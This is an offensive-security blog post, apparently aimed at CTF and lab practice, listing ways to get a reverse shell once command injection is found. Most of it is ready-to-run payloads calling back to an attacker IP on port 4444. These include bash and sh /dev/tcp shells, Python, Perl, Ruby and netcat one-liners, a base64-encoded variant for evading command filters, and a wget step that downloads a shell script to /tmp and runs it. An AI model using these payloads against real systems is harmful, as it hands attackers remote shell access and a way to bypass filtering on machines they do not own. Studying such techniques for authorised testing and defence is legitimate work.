Ducksec Mar 05, 2023 windows, privesc, potato attacks

Command execution but no shell?!

Quick tips - Command execution, but I can’t get a shell…?

While command execution is one of the best vulnerabilities you can hope to find (especially in a public-facing web app!) joy can quickly turn to frustration the moment that this old friend:

/bin/bash -i >& /dev/tcp/10.10.14.100/4444 0>&1

…doesn’t work!

Solution #1 - try calling sh

While most Linux boxes do have bash installed, not all will - Debian (Read Ubuntu) and Red Hat boxes set bash as the default shell, but many lightweight versions (the kind you might use in a container or IOT device) such as Alpine or Busybox use old school sh instead. If you suspect the target application might be running in a container, try this first!

/bin/sh -i >& /dev/tcp/10.10.14.100/4444 0>&1

It’s of course possible (although not super likely) that bash may have been removed from a system which is using an alternative shell (Dash, Zsh etc.) so these can also be worth a try.

The other major consideration for bash is that since bash is the default shell many sysadmins will take the time to restrict or control it, since they’re very aware of its existence. If Apparmour or SELinux is running you may well find that your shell command is processed, but that bash does not have permissions to interact with /dev/tcp.

I usually call /bin/sh as part of any reverse shell - after all, it’s easy enough to call /bin/bash once you have a shell if you want :)

This brings us to…

Solution #2 - try a different language

While most system administrators know that controlling default apps like bash is a strong move, many overlook lesser-known applications and ones which are installed by default but not actually used in an environment. Distributions like Ubuntu come with strong support for programming languages built-in - and more often than not one or more of these may have less restrictive limitations attached to it.

Some good options to try are:

Python: Python is available on most Linux boxes - most often you’ll find python3 installed now that python2 is officially deprecated, but perhaps python2 is still installed…. and perhaps its security policies are not up to date?

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.100",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'

Perl: I’ve very often found perl to be poorly protected on Linux boxes, even those which are implementing restrictions against python, bash, netcat etc.

perl -e 'use Socket;$i="10.10.14.100";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby: Some distros include Ruby by default, ruby also powers frameworks like Rails, so, if you find Rails, Ruby might well be an option…

ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.14.100",4444))'

Netcat If other languages and even bash are locked down, it’s pretty unlikely that netcat is even allowed to run - but, it’s worth a go!

nc 10.10.14.100 4444 -e /bin/sh

Solution #3 Escaping - or not

While the above options are all worth a look, you’ll have probably noticed that they all include both single, and double quotes - more often than not you’ll have to escape some, or all of these in order to make the shell function. This can get tricky, and frustrating - but often, it’s not required. Even if you’re just using a simple bash command, it’s possible there’s a bad character or something about your payload that the target application is handling weirdly.

Base64 One way to avoid possible issues with escaping commands, or with the handling of certain characters, is to encode them as base64 - then simply echo that string to base64 decode, and pass it to bash - make this the command you inject, and you can avoid troublesome characters!

echo "/bin/sh -i >& /dev/tcp/10.10.14.100/4444 0>&1" | base64 
L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMDAvNDQ0NCAwPiYxCg==

Now, try to inject this command.

echo L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMDAvNDQ0NCAwPiYxCg== | base64 -d | bash

This of course still won’t work if bash is not allowed to access /dev/tcp - but it can certainly get you past some technical barriers, and some simplistic forms of command filtering.

Wget a shell You might face a situation where certain commands can be executed via a found injection, but for some reason, you can get a shell to pop.

If the box has wget, or curl installed it’s worth trying to write out a basic shell to a bash script, then spin up a server on your attack box - use the command injection to initiate a download, and then try running the script from the target box.

The hurdle with this approach is that you’ll need a writable location to put the file into - you might be able to write to the applications “home” directory (can you run pwd to figure out where your commands are being executed from?) but you can probably write to /tmp or /dev/shm

Using wget, the -O option allows you to specify one of these locations. Use the injection vulnerability to run this….

wget -O /tmp/shell.sh http://10.10.14.100:8080/shell.sh

Then simply run the script by calling it with another command..

bash /tmp/shell.sh